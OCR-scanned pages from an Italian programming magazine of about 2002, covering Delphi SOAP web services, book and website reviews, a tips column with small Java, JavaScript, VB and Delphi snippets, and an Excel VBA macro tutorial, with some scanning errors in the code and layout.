/■% È importante cono- 
-^ scere il modello ese- 
cutivo delle estensioni del 
web server relativamente 
al modo in cui queste ge- 
stiscono le richieste web. 
Nel caso dei CGI, ad ogni 
request corrisponde un 
processo nuovo che termi- 
na con rinvio della re- 
sponse, mentre con i plug- 
in più moderni ogni re- 
quest è soddisfatta da un 
thread di un unico proces- 
so che termina anch'esso 
con la response. La diffe- 
renza tra processo e 
thread è sottile ma so- 
stanziale: si tratta in en- 
trambi i casi di filoni di co- 
dice in esecuzione paralle- 
la, però mentre al proces- 
so vengono allocate dalla 
macchina tutta una serie 
di risorse di sistema (tra 
cui, in particolare, uno 
spazio di indirizzamento 
della memoria privato), il 
thread condivide le risorse 
con il processo che l'ha 
generato e gli altri thread 
dello stesso processo. Da 
un lato, la gestione per 
thread è sicuramente più 
efficiente, consumando 
meno risorse della mac- 
china, e probabilmente più 
veloce, ed è di fatto la so- 
luzione di gran lunga più 
comune sugli application 
server moderni. Va però 
comunque ricordato che 
in questo caso i vari 
thread lanciati a fronte 
delle richieste web fanno 
capo ad un unico processo 
e quindi bisogna scrivere 
codice thread-safe nell'ac- 
cesso a risorse globali. 
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Web Server 

y^ft Di tutti i web server 
^J presenti oggi sul 
mercato, due sono sicura- 
mente i più diffusi. Uno è 
US (Internet Information 
Services) della Microsoft, 
che deve buona parte della 
sua popolarità all'ubiquità 
del sistema operativo di 
cui è parte integrante, 
Windows. Il prodotto è 
presente tra i componenti 
aggiuntivi installabili sotto 
Windows 2000 (tutte le 
edizioni) e Windows XP 
(solo Professional). Si trat- 
ta di un web server com- 
pleto ed altamente confi- 
gurabile. Insieme ad esso 
vengono anche offerti al- 
cuni plug-in di estensione, 
tra cui il famosissimo ASP. 
L'altro web server che si è 
conquistato col tempo il 
primo posto in termini di 
affidabilità e popolarità è 
Apache, un'alternativa open 
source scaricabile gratui- 
tamente dal sito www.apa- 
che.org disponibile sia per 
piattaforma Windows che 
Linux. Compete con suc- 
cesso contro US dal punto 
di vista delle capacità e 
configurabilità, ma ha il 
vantaggio di essere gratui- 
to ed affiancato da una se- 
rie di progetti open source 
paralleli (quali PHP, per 
esempio) anch'essi gratui- 
ti. Si è guadagnato la repu- 
tazione di web server affi- 
dabile e sicuro, mentre su 
US si sentono spesso la- 
mentele da questo punto di 
vista. 



e della relativa implementazione nella classe invoca- 
bile, facendo attenzione ad indicare la calling conven- 
tion giusta. 

Implementazione dei metodi nella classe invocabile 

ÌY£É 

{ Implementate in questa classe i metodi dichiarati 
nell'interfaccia! 

ì 



{ TWsExample } 



TWsExample = class(TInvokableClass, IWsExample) 
public 



function echoEnum(const Value: TEnumTest): 
TEnumTest; stdcall; 

function echoDoubleArray(const Value: 
TDoubleArray): TDoubleArray; stdcall; 

function echoMyEmployee(const Value: 
TMyEmployee): TMyEmployee; stdcall; 

function echoDouble(const Value: Doublé): Doublé; 

stdcall; 

end; 



implementation 



function TWsExample. echoEnum(const Value: 
TEnumTest): TEnumTest; stdcall; 



begin 



_L 



TOPO : Implement method echoEnum 



Result := Value; 



end; 



function TWsExample. echoDoubleArray(const Value: 
TDoubleArray): TDoubleArray; stdcall; 



begin 



{ TOPO : Implement method echoDoubleArray } 



Result := Value; 



end; 



function TWsExample. echoMyEmployee(const Value: 
TMyEmployee): TMyEmployee; stdcall; 



begin 



{ TOPO : Implement method echoMyEmployee } 



Result := TMyEmployee.Create; 



end; 



function TWsExample. echoPouble(const Value: Pouble): 

Pouble; stdcall; 



begin 



TOPO : Implement method echoPouble 



Result := Value; 



end; 



È da notare nel codice del listato 1 che la definizione 
dei tipi TEnumTest, TDoubleArray, TMyEmployee è so- 
lo funzionale ai metodi di esempio, dove vengono im- 
piegati come parametri e tipi di ritorno: non vi è nes- 
suna necessità di mantenere tali definizioni quando 
eliminate i metodi di esempio e li sostituite con il vo- 



stro codice. Infine, vale la pena di commentare la se- 
zione di inizializzazione della classe e dell'interfaccia 
che potete osservare nel progetto allegato air articolo. 
Per l'interfaccia troviamo: 

InvRegistry.RegisterInterface(TypeInfo(IWsExample)); 

mentre per la classe si legge: 

InvRegistry.RegisterlnvokableClass(TWsExample) 

e la funzione di queste due semplici righe è quella di 
rendere disponibile al registro di invocazione del fra- 
mework RTTI le definizioni dei due elementi. Se vi ri- 
cordate, nel caso dei client di web service, questa re- 
gistrazione serviva per il binding dinamico dell'inter- 
faccia con THTTPRio, la quale classe generava una 
chiamata di metodo SOAP da una chiamata standard 
sul metodo dell'interfaccia. In questo caso invece tra- 
mite la registrazione si dà la possibilità al SOAP Di- 
spatcher e al Pascal Invoker di essere in grado di de- 
terminare quale metodo dell'interfaccia invocare e re- 
cuperare un'instanza della classe associata per l'invo- 
cazione del codice d'implementazione, il tutto dina- 
micamente a run-time. L'invocation registry è una ca- 
ratteristica di Delphi che viene utilizzata esclusiva- 
mente per i servizi web ed opera su classi ed interfac- 
ce con il supporto per RTTI. Tale registry è un'istanza 
della classe TInvokableClassRegistry, la quale non va 
mai creata programmaticamente, in quanto il registro 
è globale e vi viene fatto accesso tramite la funzione 
InvRegistry dell'unità InvokeRegistry. 

DEPLOYMENT 
DEL PROGETTO 

Una volta terminata la fase di sviluppo e codifica dei 
metodi del vostro web service, sarà il caso di installa- 
re il risultato del vostro lavoro sotto un web server da 
dove sia raggiungibile via HTTP e possa così ricevere 
richieste SOAP Innanzitutto il progetto va compilato 
e si deve fare il build della DLL o dell'EXE dell'appli- 
cazione. Il file risultante dalla compilazione deve poi 
essere copiato in una sottodirectory della document 
root del vostro web server che abbia privilegi di ese- 
cuzione. Dopodiché basterà navigare sull'indirizzo 
del WSDL del documento per ottenere tutto ciò che 
serve per la creazione di un client che sfrutti i vostri 
metodi. Se la directory di installazione fosse /bin e il 
web server quello locale del vostro PC, l'URL com- 
pleto da utilizzare nel browser per scaricare il WSDL 
sarebbe http://localhost/bin/WsExampleDLL.dll/wsdl 
/IWsExample dove WsExampleDLL.dll è il file genera- 
to dal build del progetto e IWsExample il nome del- 
l'interfaccia remota creata nel progetto. A questo pun- 
to tutte le fasi per la creazione di un web service sono 
state completate, ed il web service resta in ascolto di 
richieste di invocazione. 

Federico Mestrone 
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ON LINE 

Game 
Development 

Sono sempre di più gli 
sviluppatori di videoga- 
me. Segnaliamo questo 
sito a tutti gli amanti di 
questo genere di pro- 
grammazione. Una vasta 
serie di articoli, tool e 
software di ottima fattu- 




http://www.gdse. 



Al VB Code 

Un sito interamente dedi- 
cato al linguaggio Visual 
Basic. Migliaia di snippets 
e applicazioni free, sezio- 
ne tips aggiornata setti- 
manalmente, aggiornata 
con cadenza quotidiana la 
sezione relativa agli arti- 
coli e al codice sorgente. 




SIForge 



SIForge.org un sito nato 
per creare una communi- 
ty che parli di IT conte- 
stualizzata nella realtà 
italiana. Una serie di arti- 
coli, non solo tecnici, il 
cui scopo è quello di sti- 
molare la discussione da 
parte dei lettori, confron- 
tando le reciproche espe- 



rienze. 
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Handbook of Geometrie Programming Using 
Open Geometry GL 

Il testo, in lingua inglese, si rivela un'ottima guida all'apprendimento della 
programmazione grafica e geometrica. Basandosi su uno standard quale 
OpenGL, Handbook of Geometrie Programming Using Open Geometry GL 
mostra, come utilizzando un'applicazione interamente basata su OpenGL 
(Open Geometry GL) e rifacendosi al linguaggio C++, sia possibile realizzare 
praticamente quanto espresso teoricamente dai più comuni concetti geome- 
trici. Vengono affrontate tutte le più classiche problematiche della geometrica 
euclidea, mostrando in modo pratico e con esempi in codice come implemen- 
tare in un linguaggio di programmazione ad alto livello applicazioni grafiche 
2D e 3D. 

Difficoltà: Medio-Alta • Autori: Georg Glaeser, Hans-Peter Schroecker • Editore: APRESS 
http://www.apress.com • ISBN: 0-387-95272-1 • Anno di pubblicazione: 2002 • Lingua: Inglese 
Pagine: 696 • Prezzo: $59,95 • Contiene 1 Cd-Rom 

XML Programming 
Using the Microsoft XML Parser 

XML Programming Using the Microsoft XML Parser è un testo utile a tutti 
gli sviluppatori che intendono progettare e realizzare applicazioni XML uti- 
lizzando il parser offerto da Microsoft. 
Nel testo sono affrontate diverse problematiche legate direttamente al 
mondo XML, in modo particolare: XSLT, XPATH, SAX, DOM, XML Schema, 
e SOAP. Gli autori hanno preferito trattare superficialmente l'aspetto teori- 
co di XML, puntando soprattutto su esempi pratici ben dettagliati; in diver- 
se circostanze le applicazioni discusse riguardano casistiche reali. 
Un intero capitolo viene dedicato allo sviluppo di applicazioni Wireless 
Markup Language (WML), il linguaggio diretto derivato di XML per la crea- 
zione di applicazioni WEB dedicate a PDA e telefoni cellulari. 

Difficoltà: Medio-Alta • Autori: Soo Mee Foo, Wei Meng Lee • Editore: APRESS 

http://www.apress.com • IISBN: 1-893115-42-9 • Anno di pubblicazione: 2002 

Lingua: Inglese • Pagine: 480 • Prezzo: $44,95 • Contiene 1 Cd-Rom 




XML Programming 

Using the 

Microsoft XML Parser 



Programmare il cellulare 




Il testo affronta lo studio del set di comandi AT+ per la gestione delle funzio- 
nalità dei telefoni cellulari GSM/GPRS/UMTS con modem integrato. 
Il lettore potrà così scoprire come, collegando il cellulare al proprio personal 
computer tramite porta ad infrarossi (IRDA) o via cavo, sia possibile accedere 
a tutte le funzionalità del telefonino (rubrica, SMS, agenda, suonerie, 
loghi,ecc). 

Il libro mostra come realizzare applicazioni Visual Basic .NET in grado di 
interfacciarsi con il cellulare. Nel supporto CD-ROM è presente, tra le altre 
cose, un'applicazione completa. 

Difficoltà: Facile • Autore: Vito Vessia • Editore: Hoepli http://www.hoepli.it 

ISBN: 88-203-3125-X • Anno di pubblicazione: 2002 • Lingua: Italiano • Pagine: 334 

Prezzo: € 25,00 • Contiene 1 Cd-Rom 
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Tips&Tricks 



I trucchi 
del mestiere 



La rubrica raccoglie trucchi e piccoli pezzi di codice che solitamente non trovano posto nei manuali, ma sono frutto dell'esperienza di 
chi programma. Alcuni trucchi sono proposti dalla Redazione, altri provengono da una ricerca sulla Rete delle Reti, altri ancora ci 
giungono dai lettori. Chi vuole contribuire potrà inviarci i suoi tips&tricks preferiti che, una volta scelti, verranno pubblicati nella 
rubrica. Il codice completo dei tips lo trovate nel CD allegato nella directory \tips\. 
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Come utilizzare ("'aritmetica' 



In questo tip analizziamo i principali casi di utilizzo delle 
espressioni aritmetiche in Java. Un piccolo ripasso sulle di- 
chiarazioni e sul modo di utilizzare le variabili air interno di 
espressioni matematiche. 

Come realizzare metodi ricorsivi 

Un piccolo esempio che illustra come utilizzare la ricorsio- 
ne per ottenere tutte le diverse combinazioni di un dato in- 
sieme di lettere. Pur non trovando una immediata utilità 
pratica, può essere un buono spunto per chi comincia ad oc- 
cuparsi di ricorsione in Java, da notare l'utilizzo della varia- 
bile statica sum. 

RomanNumeral 

Una semplice ma completa implementazione di una classe 
per la gestione dei numeri romani. Grazie a questo codice 
sarà possibile effettuare la conversione da e verso i numeri 
scritti secondo la numerazione romana. Un'idea simpatica 
ed un'ottima realizzazione. 

Come generare le eccezioni 

Questo tip dimostra come far si che un metodo lanci una ec- 
cezione e come utilizzare correttamente la clausola throw. 

public class PieEater 

{ private int piesEaten; 

// la clausola throw indica che il metodo può lanciare una eccezione 

PieException 

public int howManyPiesQ throws PieException 

{ // do some processing 

if( piesEaten > 100 ) 

{ // crea una eccezione PieException e la lancia 

throw new PieException( "non ha mangiato tutte le torte!" ); } 

return piesEaten; } 

> 

Come generare numeri casuali 
secondo la distribuzione di Poisson 

Sfruttando la classe java. util.Random, il codice che presentia- 
mo implementa un algoritmo per la generazione di numeri 
casuali che rispettino la distribuzione di Poisson. Estrema- 
mente utile sia in ambito ingegneristico che in ambito stati- 
stico: la classe può essere facilmente personalizzata per usi 
più verticali. 
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Come valutare le espressioni 



La funzione eval valuta una stringa di codice che riceve co- 
me argomento. La sintassi è: 

eval(codestring) 

L'argomento è un oggetto String che contiene codice Java- 
Script. La Stringa è passata al parser JavaScript, e viene dun- 
que eseguita come normale codice. Se ci sono istruzioni Ja- 
vaScript, sono dunque eseguite regolarmente mentre, se è 
presente una espressione, la stessa viene valutata ed il valo- 
re risultante è ritornato come valore della funzione. 
Ecco un esempio: 

eval("primo=1973; secondo=29; document.write(primo + secondo);"); 

Codice che darà come risultato: 



2002 



E' da notare che l'argomento codestring è opzionale ma, se 
non si indica alcun argomento, eval restituirà "undefined". 

Come leggere un numero contenuto 
in una stringa 

La funzione parselnt si occupa di cercare il primo intero pre- 
sente in una stringa. Il numero di argomenti accettati da par- 
selnt è pari a due: il primo è la stringa in cui cercare il nume- 
ro, mentre il secondo parametro indica la base dell'intero è 
può andare da 2 a 36 (ad esempio 16 per un esadecimale). Il 
secondo parametro è opzionale e, nel caso in cui non viene 
fornito, il parser cercherà di individuare da solo la base del 
numero presente nella stringa: se la stringa comincia con una 
cifra compresa fra 1 e 9, verrà considerata la base 10; se la 
stringa inizia con Ox oppure 0X, il numero verrà considerato 
esadecimale; se la stringa comincia con uno zero, il numero 
sarà analizzato in base otto. Una volta scelta la base, il parser 
analizza la stringa da sinistra verso destra fino ad incontrare 
il primo carattere non corrispondente ad alcuna cifra coeren- 
te con la base. A partire da questa posizione la restante parte 
della stringa viene ignorata e parselnt restituisce il valore tro- 
vato come intero (attenzione: non come stringa!). Questa fun- 
zione intercetta solo il primo intero presente in una stringa e 
non considera eventuali numeri decimali: tutti i caratteri po- 
sizionati dopo un punto o una virgola sono dunque ignorati. 
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Se il primo carattere non è uno spazio bianco né un carattere 
numerico, la funzione restituisce "NaN": Not a Number. 



document.write("<BR>" 


+ parselnt("50")) 


document.write("<BR>" 


+ parselnt("50. 12345")) 


document.write("<BR>" 


+ parselnt("32. 00000000")) 


document.write("<BR>" 


+ parselnt("71.348 92.218 95.405")) 


document.write("<BR>" 


+ parselnt(" 37 aardvarks")) 


document.write("<BR>" 


+ parseInt("Nato nel 1973")) 



Questo l'output: 




La funzione può essere utilizzata per effettuare delle con- 
versioni di base: 

document.write(parselnt("110", 2)) 

Output: 



La corrispettiva funzione per i numeri in virgola mobile è 
parseFloat. La funzione determina se il primo carattere della 
stringa ricevuta come argomento è un numero, in caso af- 
fermativo processa la stringa fino a che intercetta la fine del 
numero. Anche in questo caso il valore è ritornato come nu- 
mero e non come stringa. 



document.write("<BR>" 


+ parseFloat("50")) 


document.write("<BR>" 


+ parseFloat("50. 12345")) 


document.write("<BR>" 


+ parseFloat("32. 00000000")) 


document.write("<BR>" 


+ parseFloat("71.348 92.218 95.405")) 


document.write("<BR>" 


+ parseFloat("37 aardvarks")) 


document.write("<BR>" 


+ parseFloat("Nato nel 1979")) 



Ecco il risultato: 

50 

50.12345 

32.00000000 

71.348 

37 

NaN 
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Come realizzare 
conversioni di base 



R I 



meri in base dieci verso qualsiasi altra base. Oltre ad essere 
molto utile, consente di familiarizzare con l'utilizzo della 
matematica in C++ 

Come salvare e recuperare 
le impostazioni degli utenti 

Una classe che si occupa di gestire le impostazioni definite 
dagli utenti, attraverso la creazione di un file in cui sono im- 
magazzinate un insieme di chiavi e valori su cui è possibile 
effettuare ricerche e modifiche in un secondo momento. Per 
immagazzinare e poi leggere i valori sono disponibili i due 
metodi writeValueToFile e readValueFromFile 

Come calcolare il determinante 
di una matrice 

Una porzione di codice che consente un rapido calcolo del 
terminante di una matrice. Il codice è costruito sulla base 
del templare CArray di MFC. 

Riadattare il codice presentato può essere la soluzione idea- 
le nel caso in cui si stiano sviluppando applicazioni mate- 
matiche che richiedano la risoluzioni di sistemi di equazio- 
ni lineari. 
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Come allinear! i controlli 
sulle form 



Quando si creano form ridimensionabili, una delle migliori 
soluzioni estetiche consiste nel sistemare i pulsanti princi- 
pali o in alto a destra o in basso a sinistra. Per garantire l'al- 
lineamento in ogni situazione, è scrivere in un modulo la 
subroutine indicata di seguito: 

Sub ButtonRight(X As Control, Frm As Form, Offset as Integer) 

X.Left = Frm.ScaleWidth - X.Width - Offset 

End Sub 

Con la costante Offset è possibile specificare la distanza fra 
ogni pulsante e riutilizzare così il medesimo codice per più 
pulsanti. Una volta sistemati i pulsanti sulla form, è neces- 
sario aggiungere all'evento Form_Resize il seguente codice: 



Private Sub Form_Resize() 


ButtonRight Commandl, 


Me, 





ButtonRight Command2, 


Me, 


Commandl.Width 


End Sub 



Come spostare controlli e form 

Per spostare un controllo o una form in una nuova posizio- 
ne, è possible settare le proprietà Left e Top, indicando i nuo- 
vi valori. 

frmCustomer.Left = frm Cu sto m e r. Left +100 

frmCustomer.Top = frmCustomer.Top + 50 



Con il codice che qui presentiamo è possibile convertire nu- Un metodo alternativo è utilizzare il metodo Move, che ri- 
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sulta più veloce di circa il 40% rispetto al codice appena vi- 
sto: 

frmCustomer.Move frmCustomer.Left + 100, frmCustomer.Top + 50 

Come generare revento click 

Quando si ha necessità di generare un evento Click, è possi- 
bile settare a True la proprietà del pulsante corrispondente: 

cmdAdd.Value = True 

Così facendo è possibile attivare facilmente un comando su 
una forra diversa rispetto a quella in cui è scritto il codice, 
tuttavia risulta più veloce chiamare direttamente la proce- 
dura relativa all'evento che ci interessa: 

Cali cmdAdd_Click 

Come installare un font speciale 

Quanto spiegato in questo tip consente di caricare e rimuo- 
vere qualsiasi font, il tutto senza andare a utilizzare la car- 
tella dei font di Windows. Questo sistema consente di uti- 
lizzare nuovi font senza dover riavviare il sistema. 

Come allineare il testo 
in un pulsante 

Quando si vuole allineare il testo in un pulsante, Fazione 
più comune è quella di inserire degli spazo bianchi. Per ave- 
re lo stesso effetto in modo "più professionale", si può ag- 
giungere il codice qui presentato in un modulo BAS. Richia- 
mando la funzione, si potrà specificare esattamente il tipo di 
allineamento voluto, sia orizzontale che verticale. 
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Come verificare che 
un drive sia pronto 

La funzione riportata accetta come parametro la lettera 
identificativa del drive di cui vogliamo verificare lo stato. 
La funzione ritorna poi un valore booleano: true se il drive è 
pronto, false se il disco non è presente nel drive. 

Come mostrare la dialog 
con le proprietà di un file 

La procedura che presentiamo consente di richiamare la fi- 
nestra di proprietà dei file. Per poterla utilizzare corretta- 
mente è necessario aggiungere ShellApi alla clausola USES 

procedure PropertiesDialog(FileName:String); 

var 

sei: TShellExecutelnfo; 

begin 

FillChar(sei, SizeOf(sei), 0); 

sei.cbSize := SizeOf(sei); 

sei.lpFile := PChar(filename); 

sei.lpVerb := 'properties'; 



sei.fMask := SEE_MASK_INVOKEIDLIST; 

ShellExecuteEx(@sei); 

end; 

Ed ecco come richiamare la procedura: 

procedure TForml.ButtonlClick(Sender: TObject); 

begin 

if Opendialogl.Execute then PropertiesDialog(Opendialogl.FileName); 
end; 

Come creare un file temporaneo 

Se si ha bisogno di un file temporaneo, il primo problema è 
trovare un nome univoco per salvarlo e riferirlo univoca- 
mente. 

La funzione che presentiamo si limita proprio a questo, ri- 
tornando un nome di file univoco da utilizzare successiva- 
mente per la creazione di un file temporaneo. 

function GetTempFile(const Extension: string): string; 

var 

Buffer: array[0..MAX_PATH] OF Char; 

aFile : string; 

begin 

GetTempPath(Sizeof(Buffer)-l, Buffer); 

GetTempFileName(Buffer,'~',0, Buffer); 

result := StrPas(Buffer); 

end; 

procedure TForml.ButtonlClick(Sender: TObject); 

begin 

ShowMessage(GetTempFile('.tmp')); 

// Il file temporaneo sarà del tipo C:\WINDOWS\TEMP\~61D5.TMP 
end; 

Come rendere una form trasparente 

Se si vuole dare uno stile inconsueto ed accattivante alle 
proprie applicazioni, una possibilità è offerta da questo tip. 
Con il form completamente trasparente, le nostre applica- 
zioni non correranno il rischio di passare inosservate! 

Come impedire lo spostamento 
di una finestra 

Con il codice qui presentato è possibile fissare la posizione 
di una finestra sullo schermo. Qualsiasi tentativo dell'uten- 
te di spostarla fallirà miseramente... 
Nella sezione Private dichiaramo la procedura: 

procedure WMWindowPosChanging(var Message: TWMWindowPo- 

sChanging); 

message WM_WINDOWPOSCHANGING; 

Mentre questo sarà il codice della procedura sarà: 

procedure TForml.WMWindowPosChanging(var Message: TWMWin- 

dowPosChanging); 

begin 

with Message.WindowPos^ do 

Flags:= Flags OR SWP_NOMOVE; 

end; 
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Excel e VBA 

SOLUZIONI ED ESEMPI DI CODICE 



Office offre ai propri utenti 

enormi potenzialità. Inoltre 

dispone di un linguaggio di 

programmazione intuitivo e 

potente: VBA (Visual Basic for 

Applications). 

In quest'articolo presenteremo 

dei semplici programmi o macro 

per risolvere alcuni problemi che 

si possono presentare nell'uso di 

Excel. L'obiettivo è dare spunto 

per risolvere altri problemi 

simili, riutilizzando i frammenti 

di codice presentati. 



Per registrarla è necessario dare un nome alla ma- 
cro e associare ad essa una pressione di tasti che la 
mandi in esecuzione (Ctrl+" tasto"). 
Supponendo di voler eliminare tutte le righe del fo- 
glio di lavoro che contengono la dicitura "[cancel- 
la]", selezioniamo "Registra nuova macro", chia- 
miamo la nuova macro "eliminaRighe" e vi asso- 
ciamo la combinazione Ctrl+r . 
Eseguiamo poi i seguenti passi: 

1) Dal menu "Modifica > Trova", cerchimo la pa- 
rola "[cancella]" e premiamo "Trova successi- 
vo"; 

2) Chiudiamo la finestra di ricerca (tasto "Chiu- 
di"); 




Excel 

e VBA 



^» File sul CD 

\soft\codice\vba.xsl 



Spesso, usando Office (in particolare presente- 
remo il caso di Excel), si ha la necessità di ese- 
guire operazioni ripetitive sui valori memo- 
rizzati. Per esempio si può avere la necessità di 
estrapolare certe informazioni che sono memoriz- 
zate insieme ad altre (si pensi al caso di colonne che 
memorizzano una descrizione insieme ad un codi- 
ce, e che si voglia prendere il codice e memorizzar- 
lo in una colonna separata), oppure raggruppare 
informazioni sparse su più colonne, magari elabo- 
randole. 

Una delle possibili soluzioni per risolvere questo ti- 
po di problemi è quella di creare delle macro. Una 
macro è un frammento di codice che viene manda- 
to in esecuzione al verificarsi di un particolare even- 
to (di solito la pressione di una combinazione di ta- 
sti). 

Il modo più semplice di realizzare una macro è 
quella di usare il "Registratore di macro" (menu 
Strumenti > Macro > Registra nuova macro, Fig. 1). 
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3) Dal menu "Modifica" selezioniamo "Elimina" e 
poi selezioniamo "Sposta le celle in alto". 

4) Premiamo sul tasto di "Interrompi registrazio- 
ne" sulla finestra della macro (Fig. 2). 
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Fig. 1: Come procedere per registrare una nuova 
macro. 



Fig. 2: Tasto per interrompere la registrazione 
della macro. 



A questo punto, premendo ripetutamente "Ctrl+r", 
verranno via via cancellate tutte le righe che con- 
tengono la parola "[cancella]". 
Questo sistema permette di risolvere molti piccoli 
problemi, è semplice anche per chi non conosce la 
programmazione e, dulcis in fundo, può essere un 
ottimo metodo per imparare a programmare in 
VBA "per esempi". 

Infatti se andate sul menu "Strumenti > macro > 
macro" (o premete Alt+F8), vi apppaiono tutte le 
macro presenti. Selezionate la macro che abbiamo 
appena creato e premete il tasto "Modifica": appare 
T editor di Visual Basic con il codice sorgente della 
macro. 

Potete "divertirvi" a creare alcune macro con il "Re- 
gistratore di Macro" e poi andare a curiosare il co- 
dice generato. 



Registrazioni 

r& II modo più sem- 
^ plice di realizzare 
una macro è quella di 
usare il "Registratore 
di macro" (menu Stru- 
men ti/ Macro / Registra 
nuova macro 
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COM 

y-S Gli oggetti esposti 
-J da una applicazio- 
ne sono utilizzabili an- 
che nelle altre. La tec- 
nologia di base che per- 
mette tutto ciò è COM. Il 
programmatore può far 
uso di tali funzionalità 
attraverso VBA o altri 
linguaggi di program- 
mazione. 



Sub cancellaRigaQ 

cancellaRiga Macro 

Macro registrata il 01/02/2002 da Standard 

Scelta rapida da tastiera: CTRL+r 

Cells.Find(What: ="[cancella]", After: =ActiveCell, 

Lookln : =xlFormulas, LookAt: =xlPart, 
SearchOrder:=xlByRows, SearchDirection:=xlNext, 

MatchCase: = False) .Activate 

Cells.FindNext(After:=ActiveCell).Activate 

Selection.Delete Shift:=xlUp 

End Sub 

INIZIAMO 

A PROGRAMMARE 

Per problemi più complessi di quelli visti in prece- 
denza non basta registrare le macro nel modo che 
abbiamo illustrato, ma è necessario ricorrere alla lo- 
ro programmazione. 

Chi si avvicina alla programmazione di VBA, si tro- 
va ad affrontare due difficoltà: la prima è quella di 
imparare il linguaggio, la sua sintassi e i suoi co- 
strutti fondamentali; la seconda è capire quali stru- 
menti e funzionalità mette a disposzione Y applica- 
zione che si vuole personalizzare (Excel, Word, o 
qualsivoglia altro programma presente in Office). 
Per risolvere entrambi i problemi è fondamentale 
avere a disposizione della buona documentazione. 
Chi avrà buone basi di programmazione troverà 
semplice risolvere il primo poblema, mentre per ri- 
solvere il secondo è d'aiuto avere esperienza come 
utenti dell' applicazione (conoscendo il funziona- 
mento di certe operazioni vi sarà più semplice im- 
parare ad usarle). 

In quest'articolo daremo per scontato la conoscenza 
dei fondamenti della programmazione e del Basic 
(in particolare del Visual Basic), mentre approfon- 
diremo Fuso di alcune delle (molte) funzionalità 
esposte da Excel. 

Chi volesse ulteriori risorse può far riferimento alla 
bibliografia. 



in tale linguaggio. Per usare le proprietà di un og- 
getto è necessario aver specificato un riferimento 
ad esso. Vediamo quali sono gli oggetti principali. 

• Application: è l'oggetto principale di tutte le 
applicazioni Office. La proprietà Application 
permette di resituire un riferimento all'ogget- 
to omonimo. Esempio: 

Dim exApp as Excel. Application 

Dichiara che la variabile oggetto exApp contie- 
ne un riferimento ad un oggetto Application di 
Excel. Analogamente: 

Dim woApp as Word. Application 

Dichiara che la variabile oggetto woApp con- 
tiene un riferimento ad un oggetto Application 
di Word. 

• Oggetti specifici di Exce:l permettono di ge- 
stire celle, intervalli e fogli di lavoro. 

• Oggetti Workbook e Workbooks: il primo 
rappresenta un file con estensione xls o xla e 
consente di utilizzare una sola cartella di lavo- 
ro di Excel, il secondo permette di usare tutti 
gli oggetti Workbook aperti. 

• Oggetto Worksheet: permette di lavorare con 
un foglio di lavoro di Excel (che a sua volta 
contiene una griglia di celle). 

• Oggetto Range: rappresenta un intervallo. 
Cosa sia un intervallo dipende dalle circostan- 
ze: può essere una cella o un oggetto singolo 
oppure un insieme di essi; può essere una riga 
o una colonna oppure un insieme di celle di- 
stribuite su più fogli di lavoro. Quando viene 
selezionata una cella (o un gruppo di esse) è 
possibile farvi riferimento attraverso la pro- 
prietà Selection (essa restituisce un oggetto di 
tipo Range). 



USARE LE FUNZIONALITÀ 
ESPOSTE DA EXCEL 

Ogni componente di Office espone numerosi og- 
getti, proprietà, metodi, eventi e insiemi di ogget- 
ti utili a creare applicazioni peronalizzate. Gli og- 
getti sono organizzati in una struttura gerarchica. 
Gli oggetti esposti da una applicazione sono uti- 
lizzabili anche nelle altre. La tecnologia di base 
che permette tutto ciò è COM. Il programmatore 
può far uso di tali funzionalità attraverso VBA o 
altri linguaggi di programmazione. Office ha al 
suo interno un ambiente di programmazione 
VBA, che rende agevole la scrittura di programmi 



ALCUNI ESEMPI 

Vediamo ora alcuni problemi, presentando i codi- 
ci sorgente dei programmi che li risolvono. 

Problema 1 

Prendere le righe dove esiste una cifra maggiore di 
una soglia prefissata e copiarle in un nuovo foglio 
di lavoro, chiamando tale foglio "Automatico". 

1. Sub copiaQ 

2. ' 

3. ' copia Macro 

4. ' 
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5. ' Scelta rapida da tastiera: CTRL+v 

6. ' 

7. Dim soglia As Integer 

8. Dim num As Long 

9. Dim numOrig As Long 

10. Dim nuovoWs As Excel .Worksheet 

11. num = 1 

12. soglia = 4 

13. Dim rngSelected As Range 

14. Set rngSelected = Application.Selection 

15. Set nuovoWs = Application.Worksheets.Add 

16. n uovo Ws .Nanne = "Automatico" 

17. For Each rngTmp In rngSelected 

18. If (rngTmp.Value = "") Then 

19. Exit Sub 

20. Elself (rngTmp.Value > soglia) Then 

21. nuovoWs. Range("A" & num).Value = 

rngTmp.Value 

22. num = num + 1 

23. End If 

24. Next rngTmp 

25. End Sub 
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Fig. 3: Il foglio dilavoro di partenza, su cui 
eseguiremo le varie macro presentate. 

Analizziamo le istruzioni "importanti": (15) si 
memorizza un riferimento alla selezione attuale; 
(16) viene creato un nuovo foglio di lavoro a cui 
viene dato il nome di "Automatico"; (17) viene 
eseguito un ciclo sulle celle della selezione; (18) si 
esce dal ciclo nel momento in cui si trova una cel- 
la vuota; (21-24) se la cella contiene un valore 
maggiore della soglia prefissata, si scrive tale va- 
lore in una nuova cella del foglio di lavoro "Au- 
tomatico". In Fig. 3 si vede il documento di par- 
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tenza. Il risultato dell' esecuzione della macro pre- 
sentata nel listato, una volta selezionata la colon- 
na "D", è visibile in Fig. 4. 

Problema 2 

Sulla colonna selezionata, mettere in evidenza 
(per esempio colorando lo sfondo) le date mag- 
giori di un mese, 6 mesi, 1 anno della data attuale 
(con colori diversi, rispettivamente verde, azzur- 
ro, rosso). 



Sub coloraQ 



' colora Macro 



Scelta rapida da tastiera: CTRL+c 



Fig. 4: Il nuovo foglio di lavoro "Automatico", 
generato dalla macro copiai). 



Dim today As Date 

8. Dim colora As Boolean 

9. Dim colore As Integer 

10. today = Now 

11. For Each rngTmp In Application.Selection 

12. If (rngTmp.Value = "") Then 

13. Exit Sub 

14. End If 

15. colora = False 

16. colore = 

17. If (Abs(DateDiff("yyyy", rngTmp.Value, 

today)) > 1) Then 

18. colore = 3 

19. colora = True 

20. Elself (Abs(DateDiff("m", rngTmp.Value, 

today)) > 6) Then 

21. colore = 8 

22. colora = True 

23. Elself (Abs(DateDiff("m", rngTmp.Value, 

today)) > 1) Then 

24. colore = 4 

25. colora = True 

26. End If 

27. If (colora) Then 

28. rngTmp.Select 

29. With Selection.Interior 

30. .Colorlndex = colore 

31. .Pattern = xlSolid 

32. .PatternColorlndex = 

xlAutomatic 

33. End With 

34. End If 

35. Next rngTmp 

36. End Sub 

Del listato possiamo osservare le linee: (10) la 
funzione Now restituisce la data attuale (nel mo- 
mento in cui viene eseguito il programma; (11) il 
ciclo avviene per ogni cella della selezione; (12-14) 
se ha raggiunto una cella vuota esce; (17, 20, 23) 
viene usata la funzione DateDiff per eseguire la 
differenza tra due date. 
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Argomenti 

